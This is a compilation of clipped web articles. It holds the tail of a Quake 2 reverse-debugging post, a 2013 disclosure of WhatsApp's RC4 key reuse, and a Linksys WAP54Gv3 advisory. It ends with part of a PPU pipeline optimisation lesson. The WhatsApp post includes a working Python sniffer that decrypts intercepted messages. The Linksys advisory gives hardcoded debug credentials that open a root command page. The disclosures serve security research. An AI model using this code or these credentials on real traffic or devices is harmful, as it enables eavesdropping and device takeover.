\(undodb-gdb\) print in\[0\]  
$18 = 1 _// Look at the inputs:_  
\(undodb-gdb\) print in\[1\] _// in\[0\], in\[1\], in\[2\] are same..._  
$19 = 0  
\(undodb-gdb\) print in\[2\]  
$20 = 0  
\(undodb-gdb\) print vright _// but vright is different._  
$21 = \{0.643670619, 0.765262604, 0.00783333182\} // with GNU libm

_// \{0.643670678, 0.765262604, 0.00783333182\} // with openlibm_

vright\[0\] is different, so yet again, I run backwards to find out why:

\(undodb-gdb\) delete  
Delete all breakpoints? \(y or n\) y  
\(undodb-gdb\) watch vright\[0\]  
Hardware watchpoint 6: vright\[0\]  
\(undodb-gdb\) bcont _// 4th time_  
Hardware watchpoint 6: vright\[0\]  
  
Old value = 0.643670619  
New value = 0.643877447  
0x00007fb100379afc in AngleVectors \(angles=0x7fb1005cb4c4,
forward=0x7fb1005b7ad8, right=0x7fb1005cadb4, up=0x7fb1005cb418\) at
/home/jwhitham/Quake-2/headless\_quake2/linux/../game/q\_shared.c:117  
117 right\[0\] = \(-1\*sr\*sp\*cy+-1\*cr\*-sy\);  
\(undodb-gdb\) print sr  
$22 = -0.00785390008 _// same as openlibm_  
\(undodb-gdb\) print sp  
$23 = 0.0723257735 _// same as openlibm_  
\(undodb-gdb\) print cy  
$24 = -0.764920235 _// same as openlibm_  
\(undodb-gdb\) print cr  
$25 = 0.999969184 _// same as openlibm_  
\(undodb-gdb\) print sy  
$26 = 0.644124985 _// different\! openlibm had 0.644125044_  
\(undodb-gdb\) delete  
Delete all breakpoints? \(y or n\) y  
\(undodb-gdb\) watch sy  
Hardware watchpoint 7: sy  
\(undodb-gdb\) bcont _// run backwards again \(5th time\)_  
Hardware watchpoint 7: sy  
  
Old value = 0.644124985  
New value = 0  
0x00007fb10037995a in AngleVectors \(angles=0x7fb1005cb4c4,
forward=0x7fb1005b7ad8, right=0x7fb1005cadb4, up=0x7fb1005cb418\) at
/home/jwhitham/Quake-2/headless\_quake2/linux/../game/q\_shared.c:100  
100 sy = sinf\(angle\);  
\(undodb-gdb\) print angle  
$27 = 2.44171381 _// same as openlibm_

And here's the reason for the difference.

The " sinf" function is implemented differently in the two math libraries.
With GNU libm, sinf\(2.44171381\) = 0.644124985. With openlibm,
sinf\(2.44171381\) = 0.644125044. It's a difference in rounding - and though
it is a very small difference, it still affects the output drawn on the
screen. This is why I bundled openlibm with my Quake 2 benchmark. Both answers
are valid - the difference is only in the least-significant bit of the
floating-point number returned by sinf - but I need the behaviour of the
program to be completely consistent, and unaffected by system library
versions.

As the debugger transcript shows, in order to go from a visibly different
pixel to the subtly different output from sinf, I had to run backwards five
times. It would have taken at least five runs of Quake 2, and probably more,
to find the source of the difference by hand. I would have needed to add
counters to the program in order to stop in the correct places, since all of
this code is executed repeatedly during each frame. The process would be
error-prone and slow. I would need to write plenty of notes in order to avoid
becoming lost in the program. I would expect the whole process to take several
hours, assuming no mistakes are made.

As it is, I was able to do all of this in a few minutes.

Since I've been building a benchmark program, I will add something about tool
performance.

On an Intel i5-2500 PC, when compiled for AMD64 with GCC 4.7.2 and -O2, the
Quake 2 benchmark running time is 20.3s, or 1.19ms per frame\*. If I run the
benchmark inside UndoDB \(version 4.1.3840\), the running time increases to
106.9s, or 6.29ms per frame. This is a slowdown, but put it into perspective
by comparing with other development tools\*\*\! For instance, valgrind
\(version 3.7\) takes 590.4s \(34.7ms per frame\). And with GDB version 7.6,
when running in the "record" mode required for reversible debugging, the same
PC will take an astonishing 34 _minutes_ to record a _single frame_. The
overall running time will be approximately 400 _days_.  
  
This great difference in performance does come with a caveat. As you'd expect,
UndoDB's performance when running forwards comes at the cost of speed when
running backwards, and a search for an event that occurred a long time ago can
be rather slow. But I am talking about slowness on the "valgrind" scale rather
than the "GDB" scale. You may have to wait a minute; you won't have to wait a
day. As with forwards-only debugging, you can speed up the search by avoiding
conditional breakpoints.  
  
I use UndoDB at work, and I have considered buying a licence for use at home,
but at this time, it's sold only as a tool for business use and the licencing
fees reflect that. However, at work, the tool has already paid for itself. If
you write software for a living, and you can run that software on Linux, then
it's worth having a look at the free trial.  
  
_Footnotes_  
\* Overall running times are a median of 19 executions. Frame timings are
overall running times divided by 17000 frames.  
\*\* I can't resist a comparison with a tool I helped develop. Rapita's
RapiCover tool: running time 22.0s, or 1.29ms per frame. This time value is
for statement and decision coverage, without using any specialised
instrumentation technique to reduce overheads.

# Piercing through WhatsApp’s encryption - xnyhps’ blog

**Created:**| _10/8/2013 8:57:00 AM_  
---|---  
**Updated:**| _10/8/2013 8:57:00 AM_  
**Author:**| __  
**Tags:**| _crypto mobile/embedded_  
  

# **P** iercing Through WhatsApp’s Encryption****

Oct 8th, 2013

WhatsApp  has been plagued by numerous issues in their security: easily stolen
passwords, unencrypted messages and even a website that can change anyone’s
status**.** But that streak is not yet over**.**

To be clear: this post is **not** about using IMEI numbers as your
password**.** That issue has been fixed**.** Logging in on a new device
currently works as follows:

  * The phone posts its phone number to a HTTPS URL to request an authentication code,
  * the phone receives an authentication code in the text message,
  * the authentication code is used, again over HTTPS, to obtain a password**.**

These passwords are quite long and never visible to the user, making them hard
to steal from a phone**.**

### Authentication Overview****

With the password, the client can log in to the not-really-XMPP server that
WhatsApp uses**.** For this it uses the custom SASL mechanism `WAUTH-1`**.**
To log in with the phone number `XXXXXXXXXXXX`, the following happens \(I’m
showing the XML representation of the protocol, this is not what is actually
sent\):

  * The client sends:

[code]

    1
    
[/code]

|

[code]

    <auth xmlns="urn:ietf:params:xml:ns:xmpp-sasl" user="XXXXXXXXXXXX" mechanism="WAUTH-1" />
    
[/code]  
---|---  
  * The server responds with a some challenge \(here `YYYYYYYYYYYYYYYYYYYY`\):

[code]

    1
    
[/code]

|

[code]

    <challenge xmlns="urn:ietf:params:xml:ns:xmpp-sasl">YYYYYYYYYYYYYYYYYYYY</challenge>
    
[/code]  
---|---  
  * To respond to the challenge, the client generates a key using PBKDF2 with the user’s password, the challenge data as the salt and SHA1 as the hash function**.** It only uses 16 iterations of PBKDF2, which is a little low these days, but we know the password is quite long and random so this does not concern me greatly**.** 20 bytes from the PBKDF2 result are used as a key for RC4, which is used to encrypt and MAC `XXXXXXXXXXXX || YYYYYYYYYYYYYYYYYYYY || UNIX timestamp`:

[code]

    1
    
[/code]

|

[code]

    <response xmlns="urn:ietf:params:xml:ns:xmpp-sasl">ZZZZZZZZZZZZZ</response>
    
[/code]  
---|---  
  * From now on, every message is encrypted and MACed \(using HMAC-SHA1\) using this key**.**

### Mistake \#1: The same encryption key in both directions****

Lets recall how RC4 is supposed to work: RC4 is a PRGA that generates a stream
of bytes, which are `xor`ed with the plaintext that is to be encrypted**.** By
`xor`ing the ciphertext with the same stream, the plaintext is recovered**.**

However, recall that:

[code]

    1
    
[/code]

|

[code]

    (A ^ X) ^ (B ^ X) = A ^ B
[/code]  
---|---  
In other words: if we have two messages encrypted with the same RC4 key, we
can cancel the key stream out**\!**

As WhatsApp uses the same key for the incoming and the outgoing RC4 stream, we
know that ciphertext byte _i_ on the incoming stream `xor`ed with ciphertext
byte _i_ on the outgoing stream will be equal to `xor`ing plaintext byte _i_
on the incoming stream with plaintext byte _i_ of the outgoing stream**.** By
`xor`ing this with either of the plaintext bytes, we can uncover the other
byte**.**

This does not directly reveal all bytes, but in many cases it will work: the
first couple of messages exchanged are easy to predict from the information
that is sent in plain**.** All messages still have a common structure, despite
the binary encoding: for example, every stanza starts with `0xf8`**.** Even if
a byte is not known fully, sometimes it can be known that it must be
alphanumeric or an integer in a specific range, which can give some
information about the other byte**.**

### Mistake \#2: The same HMAC key in both directions****

The purpose of a MAC is to authenticate messages**.** But a MAC by itself is
not enough to detect all forms of tampering: an attacker could drop specific
messages, swap them or even transmit them back to the sender**.** TLS counters
this by including a sequence number in the plaintext of every message and by
using a different key for the HMAC for messages from the server to the client
and for messages from the client to the server**.** WhatsApp does not use such
a sequence counter and it reuses the key used for RC4 for the HMAC**.**

When an attacker retransmits, swaps or drops messages the receiver can not
notice that, except for the fact that the decryption of the message is
_unlikely_ to be a valid binary-XMPP message**.** However, by transmitting a
message back to the sender at exactly the same place in the RC4 stream as it
was originally transmitted will make it decrypt properly**.** Whether this can
be exploited in any way, I don’t know**.**

### Conclusion****

You should assume that anyone who is able to eavesdrop on your WhatsApp
connection is capable of decrypting your messages, given enough effort**.**
You should consider all your previous WhatsApp conversations compromised**.**
There is nothing a WhatsApp user can do about this but except to stop using it
until the developers can update it**.**

There are many pitfalls when developing a streaming encryption protocol**.**
Considering they don’t know how to use a `xor` correctly, maybe the WhatsApp
developers should stop trying to do this themselves and accept the solution
that has been reviewed, updated and fixed for more than 15 years, like
TLS**.**

### Appendix: Proof of Concept****

The following is a Python script which can intercept messages to WhatsApp and
which tries to decrypt the incoming messages by guessing all outgoing
messages**.** It uses the WhatsApp library WhatsPoke  for the FunXMPP
parser**.**

**This does not work for the official WhatsApp client**.**** It assumes the
client logs in and sends only pings to the server**.** This was tested using
`yowsup-cli -l -d -c config -k` from https://github.com/tgalal/yowsup **.** To
use it with the official client, you would need to figure out which outgoing
messages the real client sends and deal with the fact that they might contain
data which is not as easy to predict, or even something more clever which can
decrypt bytes in both streams using the other one**.**

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    
[/code]

|

[code]

    from pcapy import findalldevs, open_live
    from impacket import ImpactDecoder, ImpactPacket
    import funxmpp
    import lxml.etree as etree
    import base64
    import time
    import datetime
    
    ips = ["173**.** 193.247.211",
    "184.173**.** 136.73",
    "184.173.136**.** 75",
    "184.173.136.80",
    "184**.** 173.161.179",
    "184.173**.** 161.181",
    "184.173.161**.** 184",
    "184.173.179.34",
    "184**.** 173.179.35",
    "50.22**.** 231.37",
    "50.22.231**.** 40",
    "50.22.231.42",
    "50**.** 22.231.45",
    "50.22**.** 231.48",
    "50.22.231**.** 51",
    "50.22.231.53",
    "50**.** 22.231.56",
    "50.22**.** 231.59",
    "173.192.219**.** 131",
    "173.192.219.140",
    "173**.** 193.247.205",
    "173.193**.** 247.209"]
    
    username = None
    salt = None
    date = None
    
    incoming_ciphertexts = []
    outgoing_ciphertexts = []
    
    outgoing_plaintexts = []
    incoming_plaintexts = []
    
    cipher_start = 0
    
    def zipXor(x, y):
      return [a ^ b for (a,b) in zip(x, y)]
    
    def callback(hdr, data):
      global username, salt, date, outgoing_ciphertexts, incoming_ciphertexts, outgoing_plaintexts, incoming_plaintexts, cipher_start
    
      decoder = ImpactDecoder.EthDecoder()
      ether = decoder.decode(data)
    
      iphdr = ether.child()
      tcphdr = iphdr.child()
    
      if not tcphdr.get_SYN() and tcphdr.get_ACK():
    
          src_ip = iphdr.get_ip_src()
          dst_ip = iphdr.get_ip_dst()
    
          if not (src_ip in ips or dst_ip in ips):
              return
    
          packet = data[ether.get_header_size() + iphdr.get_header_size() + tcphdr.get_header_size():]
    
          if len(packet) == 0:
              return
    
          incoming = (src_ip in ips)
    
          if ord(packet[0]) == 0 or packet[0] == 'A':
              if ord(packet[0]) == 0:
                  start = 3
              else:
                  start = 6
              while start < len(packet):
                  (a,b) = funxmpp.decode_with_len(packet[start:])
                  print("%s %s" % ("IN:  " if incoming else "OUT: ", a.replace("\n", "")))
                  parser = etree.XMLParser(recover=True)
                  tree = etree.fromstring(a, parser=parser)
                  if tree.tag == "{urn:ietf:params:xml:ns:xmpp-sasl}auth":
                      username = tree.attrib["user"]
                  elif tree.tag == "{urn:ietf:params:xml:ns:xmpp-sasl}challenge":
                      salt = base64**.** b64decode(tree.text)
                  elif tree.tag == "{urn:ietf:params:xml:ns:xmpp-sasl}response":
                      date = int(time.mktime(datetime.datetime.utcnow().timetuple()))
                      print("Sniffing a login from %s on %s**.** Nonce is %s." % (username, date, salt.encode("hex")))
                      outgoing_ciphertexts += map(ord, base64**.** b64decode(tree.text)[4:])
                      outgoing_plaintexts = map(ord, "%s%s%s" % (username, salt, date)
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_1"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_2"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_3"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_4"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_5"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_6"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_7"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_8"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_9"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_10"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_11"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_12"><ping xmlns="w:p"></ping></iq>""")
                      outgoing_plaintexts += funxmpp.encode("""<iq to="s.whatsapp.net" type="get" id="ping_13"><ping xmlns="w:p"></ping></iq>"""))
                  start += b + 3
          elif packet == "W":
              return
          else:
              if incoming:
                  incoming_ciphertexts += map(ord, packet[7:])
              else:
                  outgoing_ciphertexts += map(ord, packet[3:-4])
              incoming_plain = zipXor(outgoing_plaintexts, zipXor(incoming_ciphertexts, outgoing_ciphertexts))
              try:
                  incoming_plain = "".join(map(chr, incoming_plain))
                  while cipher_start < len(incoming_plain):
                      (a,b) = funxmpp.decode_with_len(incoming_plain[cipher_start:])
                      print("%s %s" % ("IN:  ", a.replace("\n", "")))
                      cipher_start += b
              except Exception as e:
                  return
    
    
    
    ifs = findalldevs()
    
    reader = open_live(ifs[0], 1500, 0, 100)
    
    reader.setfilter('ip proto \\tcp && port 443')
    
    reader.loop(0, callback)
    
[/code]  
---|---  
Example result:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
[/code]

|

[code]

    OUT: <stream:stream to="s.whatsapp.net" resource="S40-2**.** 11.1" />
    OUT: <stream:features><receipt_acks /><w:profile:picture type="all" /><w:profile:picture type="group" /><notification type="participant" /><status /></stream:features>
    OUT: <auth xmlns="urn:ietf:params:xml:ns:xmpp-sasl" user="XXXXXXXXXXXX" mechanism="WAUTH-1"></auth>
    IN:  <stream:stream from="s.whatsapp.net" />
    IN:  <stream:features><receipt_acks /><w:profile:picture type="all" /></stream:features>
    IN:  <challenge xmlns="urn:ietf:params:xml:ns:xmpp-sasl">YYYYYYYYYYYYYYYYYYYY</challenge>
    OUT: <response xmlns="urn:ietf:params:xml:ns:xmpp-sasl">ZZZZZZZZZZZZZ</response>
    Sniffing a login from XXXXXXXXXXXX on 1381178716**.** Nonce is YYYYYYYYYYYYYYYYYYYY.
    IN:  <success t="1312345678" xmlns="urn:ietf:params:xml:ns:xmpp-sasl" kind="free" status="active" creation="1312345678" expiration="1312345678">AAAAAAAAAAAAA</success>
    IN:  <presence from="s.whatsapp.net" status="dirty" xmlns="w"><category name="groups" timestamp="1312345678" /></presence>
    IN:  <ib from="s.whatsapp.net"><offline count="0" /></ib>
    IN:  <iq from="s.whatsapp.net" id="ping_1" type="result"><ping xmlns="w:p" /></iq>
    IN:  <iq from="s.whatsapp.net" id="ping_2" type="result"><ping xmlns="w:p" /></iq>
    IN:  <iq from="s.whatsapp.net" id="ping_3" type="result"><ping xmlns="w:p" /></iq>
    IN:  <iq from="s.whatsapp.net" id="ping_4" type="result"><ping xmlns="w:p" /></iq>
    
[/code]  
---|---  
From `Sniffing a login` on, all the messages are incoming messages decrypted
using information about the outgoing messages**.**

****

# Icy Silence | Linksys WAP54Gv3 Remote Debug Root Shell
**Created:**| _6/14/2010 11:34:28 AM_  
---|---  
**Updated:**| _6/14/2010 11:34:28 AM_  
**Author:**| _wishi_  
**Tags:**| _Embedded Examples vulnerability_  
  

### Linksys WAP54Gv3 Remote Debug Root Shell

2010.06.08

The IS-2010-002 vulnerability affects the WAP54Gv3, a 802.11g access point
from Linksys and allows a remote attacker to take complete control of the
device, independently of how strong the administration password has been
chosen.  
This vulnerability has been verified for firmware currently available for
devices with hardware version v3.x, but may be present also in firmware for
different hardware versions or for different models.  
The firmware version currently available for WAP54Gv3 US devices is
ver.3.04.03, while ver.3.05.03 is available for European customers.

The httpd daemon, listening on device’s 80/TCP port, relies on a structure
named mime\_handlers\[\] for storing information needed to handle an incoming
request, including function pointers to the routines used for authentication
initialization.  
The picture below shows the mime\_handlers\[\] structure present in the httpd
daemon included in binary firmware ver.3.05.03.  
  
<img src='img/mime_handlers_struct.png' width='800' height='397' />  

The handler used for almost all the incoming request is the
init\_user\_auth\(\) function \(green oval\), that retrieves username and
password stored in flash \(“NVRAM” region\) and copies them in RAM, in order
to use them during the authentication check.  
But, in two cases the handler init\_GTK\_auth\(\) \(red ovals\) is used: that
happens when the requested path \(blue rectangles\) is
“Debug\_command\_page.asp” or “debug.cgi” \(the latter can be followed by any
sequence of chars\).

The way the init\_GTK\_auth\(\) handler initializes the authentication
material can be appreciated in the following, pretty self-explanatory,
picture.

<img src='img/Linksys_WAP54G_debug_password.png' width='434' height='278' />

The credentials stored in flash, used for authenticating the access to any
other URL path, are **not used** in this case: authentication material is
initialized with strings stored in the .rodata section of the httpd binary.  
So, the only valid credentials for accessing the two “debug” paths mentioned
above are:

user: **_Gemtek_**  
password: **_gemtekswd_**

The handler init\_GTK\_auth\(\) is not used for other URL paths, so the above
credentials cannot be used for authenticating to any web page on the device
other than the two “debug” paths.

These debug credentials are not stored in the device configuration that
resides in the NVRAM region, so they cannot be accessed and modified via the
nvram command.  
Consequently, there is no way to remove or change them via the administration
web interface, because it relies on the nvram command for modifying the device
configuration settings.

But what is available at those two URLs?  
The same content on both: a simple web page with a form that allows debugging
of the device \(see picture below\).

<img src='img/Debug_UI.png' width='498' height='497' />

By inserting shell commands and pressing the Debug button, they will be
executed on the system with the privileges of the httpd daemon: **_root_**.

Then, an attacker can execute root commands on the target device, without even
knowing the very strong admin password that every security conscious user has
already configured on its device \(you haven’t? <img src='img/icon_smile.gif'
alt=':)' /> \).  
And this also means that, whichever WI-FI SSID or passphrase, or
administration password you have set, they can be remotely retrieved \(and
modified\!\).  
Additionally, malicious binaries can be downloaded and executed on the system:
sniffer, rootkits, botnet related binaries…  
Finally, a “remote blind” attack scenario can be set up by crafting malicious
web page that, when visited, will have the visitor’s browser acting as a
“reflector” and executing commands on the device on attacker’s behalf.  
Therefore it would be possible to target a device located in a local network,
with private addressing, that would be otherwise unreachable from a malicious
party located over the Internet.  
And this without the need to bypass any authentication, so no need for social
engineering attempts, CSRF, bruteforce…

But, what makes these scenarios even worse is that, again, these credentials
**_cannot be modified or deleted_** in any way by the user, not even if you
have a shell on the device.  
The only action effective in fixing the vulnerability would be to upload a
fixed firmware: officially released or created by patching the httpd binary
inside the current binary firmware, or, alternatively, by applying a fix in
source code and rebuilding it from scratch.

Wait.. do we have source code?  
Probably yes.  
The Linksys GPL center currently hosts the source code of firmware ver.3.04.03
for WAP54G, that is the version currently available for non-European
customers, that can be retrieved here.

http://downloads.linksysbycisco.com/downloads/firmware/WAP54Gv3-EU\_3\_05\_03.zip

On the other hand, no source code seems to be available for ver.3.05.03, that
is downloadable in binary format only for European customers.

I’m not aware of the differences between the two versions above, but comparing
the httpd source code of the former with the httpd binary of the latter, they
seem to be very similar, at least in respect to the vulnerability discussion.

Inspecting the ver.3.04.03 source code confirms all the elements reported
above, suggesting that the issue is likely present in all the firmware
versions currently available for WAP54Gv3.  
The httpd code source code is located at:
_/wap54gv3\_v3.04.03/release/src/router/httpd_  
while the mime\_handlers\[\] structure is defined inside file _broadcom.c_
located at: _/wap54gv3\_v3.04.03/release/src/router/shared_.

The following entries are present into the mime\_handlers structure:

[code]

    struct mime_handler mime_handlers[] =
    {
        { "Debug_command_page.asp", "text/html", no_cache, NULL, do_ej, do_debug_auth },
            ...,
        { "debug.cgi*", "text/html", no_cache, do_debug_post, do_debug_cgi, do_debug_auth },
            ...,
    };
    
[/code]

where the function do\_debug\_auth is the function referred above as
init\_GTK\_auth, and is defined the following code:

[code]

    static void do_debug_auth(char *userid, char *passwd, char *realm)
    {
        strncpy(userid, "Gemtek", AUTH_MAX);
        strncpy(passwd, "gemtekswd", AUTH_MAX);
    }
    
[/code]

providing confirmation that version 3.04.03 is also affected by IS-2010-002
vulnerability.

# moonvenus\_kaplan\_1804.jpg 1804 × 1200 Pixel

**Created:**| _2/6/2011 11:40:59 AM_  
---|---  
**Updated:**| _2/6/2011 11:41:17 AM_  
**Author:**| __  
**Tags:**| _art awesome wallpaper_  
  
<img src='img/Temp2_10464.jpg' />

# Optimisation Lesson 2: The Pipeline » Blog Archive » overbyte.com.au

**Created:**| _11/10/2011 3:12:01 PM_  
---|---  
**Updated:**| _11/10/2011 3:12:01 PM_  
**Author:**| __  
**Tags:**| _optimisation programming_  
  

  * # Optimisation Lesson 2: The Pipeline
No comments yetPosted in programmingNov 10, 2011

Before we start on the second in this series of optimisation lessons I’d like
to make something clear. The type of optimisation that I am predominantly
talking about in these lessons is low-level optimisation, or micro-
optimisation. This type of optimisation should only be applied once you are
sure that it will definitely have a benefit, once you have exhausted all
obvious higher level macro-optimisations. There have been \(too many\) times
in my coding career when I have spotted some obviously inefficient code and
spent too much time joyously optimising it only to end up with rigid, highly
optimised, unmaintainable, very clever code that makes absolutely no
difference to the overall performance. Or, even worse, it runs slower.

Your first task in optimisation is to figure out  _what_ is slow, then  _why_
that something is slow \(and sometimes  _when_\) and then remedy that.

## Understanding the sample distribution

If you can cast your minds back to Lesson 1, we had profiled our particle
system and had started examining the PC samples obtained from our profiler as
depicted below.

<img src='img/Temp2_5965.jpg' width='352' height='608' />

I’ve highlighted the two lines with the highest hits and we’ll start by
focusing on the second, biggest one first.

[code]         blt 0x00011B30

[/code]

From the interactive C++ to ASM page from the last lesson we can see that this
is a branch command and corresponds to the following C++ code:

[code]         if(p.m_Position<0)

[/code]

To understand why this instruction is such a bottleneck we need to understand
a little about how the underlying hardware functions – in particular the CPU
pipeline. Modern CPUs can issue a command or two every cycle. These
instructions take a variable number of cycles \(depending on the instruction\)
to produce an output, but \(and this is important\),_multiple instructions can
be in flow at the same time_ – each one at a different stage in the pipeline.

For example, consider the following code which does 3 single precision
floating point adds:

[code]         fadds f4,f4,f0

     
        fadds f13,f13,f30
     
        fadds f0,f31,f29
[/code]

> If each `fadds` instruction takes 10 cycles, how many cycles does it take to
> complete these three instructions?
The answer, as with most things when you get deep enough, is “It depends”. In
order to simplify this problem let’s assume that the registers that are being
used already have the relevant data in them – this way there is no stalling as
the `fadds` instructions wait for the registers to fill from D cache or main
memory \(we’ll deal with that can of worms in the next lesson\).

The following diagram shows some of the details of the PPU pipeline. It’s from
this article and is definitely worth reading if you are at all interested in
the Cell BE architecture.

<img src='img/Temp2_5966.jpg' width='558' height='396' />

    Part of the PPU Pipeline
Each box in this diagram corresponds to a cycle – for example, the first 4
boxes, IC1 through IC4 correspond to the time taken for the processor to fetch
instructions from the Instruction Cache – 4 cycles – followed by a two cycle
dispatch and then three cycles to decode and three more to issue the
instruction to either the Branch Unit, Fixed Point Unit or the Load Store
Unit. All instructions have to go through this 12 cycle front end, but if this
pipeline is fully populated then a new instruction can be dispatched every
cycle. The time taken for an instruction to enter, pass through and then leave
a pipeline is called it’s latency. I won’t go into too much depth on the
details of CPU pipelines here – check your hardware documentation for more
information \(for consoles this is generally under NDA anyway\) and/or have a
read of this Ars Technica article.

Back to the case in hand: The FPU pipeline is 10 cycles long which means it
will take 10 cycles for a single instruction to pass through that pipeline
\(the time taken to get the instruction to the FPU can be ignored for this
calculation\). A new FPU instruction can be issued every cycle after that;
this means that `f0` from the third `fadds` will be ready after cycle 12.

<img src='img/Temp2_5971.jpg' width='703' height='195' />

It is worth noting at this point that some instructions \(such as divide and
square root on the PPU\), do not pipeline at all. This means that all the
instructions after that command will stall until it has finished, reducing
throughput significantly \(some non-pipelined instructions take more than 80
cycles\).

The more attentive amongst you may have noticed the reuse of the register `f0`
in the third `fadds` – this is not an issue as once an instruction is
committed into the pipeline the input registers are no longer relevant to that
instruction. The compiler will take care of dependencies for you, so you
shouldn’t need to worry about it, merely be aware of it.

## Branching

“So,” I hear you ask, “what does this have to do with the branch statement in
the code we’re looking at?”

Well, I’m getting to that. Branching can be an expensive operation and the PPU
tries to minimise its impact by trying to predict which way the code will
branch. It does this either statically \(the compiler or programmer specifies
which code path is most likely taken\) or dynamically \(the PPU keeps a table
of branches and which path the most recent branches have taken and uses that
to infer the most likely branch\). Check out Mike Acton’s article on branching
for more details.

A mispredicted branch will incur a complete pipeline flush which is quite
expensive \(I’ve not mentioned the exact value for the PPU as I’m not sure if
it is covered by NDA but you should be able to infer it from the earlier
pipeline diagram\) and even an accurately predicted branch has a slight cost.

If we once again look at the performance graph from the first lesson we are
now in a position to understand what is happening to produce this peak on the
right:

<img src='img/Temp2_5970.jpg' width='620' height='354' />

Graph of execution time taken over frame number \(from Lesson 1\).

The flat part of the graph on the left corresponds to the expansion of the
particle ball while all particles are above the collision plane. When the
particles start to collide with that plane, the time taken increases
dramatically, rising from around 15ms per update to nearly 60ms \(when nearly
all the particles are at rest on the collision plane\). This increase is
processing time is due to not just the extra processing when a collision
occurs \(three fp multiplies and a fp negate\), but also due to the branch and
\(potential\) associated pipeline flush.

## Removing Branches

Fortunately, there is an instruction that can help us here; `fsel` \(floating
point select\). This instruction provides a way of effectively performing our
own speculative execution and then choosing one of two operands based on a
third \(see below\):

[code]         d = __fsel(a,b,c);

        // is the same as the following code but with no branch instruction
        if(a>=0)
             d = b
        else
            d = c;
[/code]

The other benefit of this instruction is that it is pipeline friendly – it
also takes 10 cycles and our pipeline is left intact once it has completed.
And we can have multiple of these instructions in the pipeline at the same
time.

So, let’s rewrite our particle code without any classes \(to make it easier to
see how it maps to asm\), pre-emptively calculate the bounced position and
velocity and pick the resultant position and velocity via fsel\(\) commands
based on the y value of the particle’s position.

[code]     1

    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    
[/code]

|

[code]     void ParticleManager::Update(float fClock)

    {
       const MyVector dampVelocity(0.75f,-0.5f,0.75f);
       const MyVector v3Acceleration=MyVector(0.0f, -9.8f, 0.0f) * fClock; 	//  a*t
       const MyVector at2 = v3Acceleration*fClock*0.5f;                     // ½a*t^2
     
       MyParticle *p = &m_Particles[0];
       MyParticle *pEnd = &m_Particles[m_NumParticles];
       for (; p<pEnd; p++)
       {
          float newPosy = p->m_Position.y;
          float newPosx = p->m_Position.x;
          float newPosz = p->m_Position.z;
          float newVelx = p->m_Velocity.x;
          float newVely = p->m_Velocity.y;
          float newVelz = p->m_Velocity.z;
     
          newPosy = newVely * fClock + newPosy + at2.y;
          newPosx = newVelx * fClock + newPosx + at2.x;
          newPosz = newVelz * fClock + newPosz + at2.z;
          newVelx = newVelx + v3Acceleration.x;
          newVely = newVely + v3Acceleration.y;
          newVelz = newVelz + v3Acceleration.z;
     
          float bouncedPos_y = -1.0f*newPosy;
          float bouncedVelx = newVelx*dampVelocity.x;
          float bouncedVely = newVely*dampVelocity.y;
          float bouncedVelz = newVelz*dampVelocity.z;
     
          // choose vel based on y pos
          newVelx = __fsels(newPosy,newVelx,bouncedVelx);
          newVely = __fsels(newPosy,newVely,bouncedVely);
          newVelz = __fsels(newPosy,newVelz,bouncedVelz);
          // set y based on y pos
          newPosy = __fsels(newPosy,newPosy,bouncedPos_y);
     
          p->m_Position.x = newPosx;
          p->m_Position.z = newPosz;
          p->m_Position.y = newPosy;
     
          p->m_Velocity.x = newVelx;
          p->m_Velocity.y = newVely;
          p->m_Velocity.z = newVelz;
       }
    }
[/code]  
---|---  
And here is the assembly generated by compiling the above code.

[code]     0x000003D0  bge      0x00000458

    0x000003D4  lfs      f9,0x4(r4)
    0x000003D8  lfs      f10,0xC(r4)
    0x000003DC  lfs      f11,0x10(r4)
    0x000003E0  lfs      f12,0x14(r4)
    0x000003E4  fmadds   f9,f1,f11,f9
    0x000003E8  lfs      f13,0x0(r4)
    0x000003EC  fadds    f0,f10,f5
    0x000003F0  lfs      f31,0x8(r4)
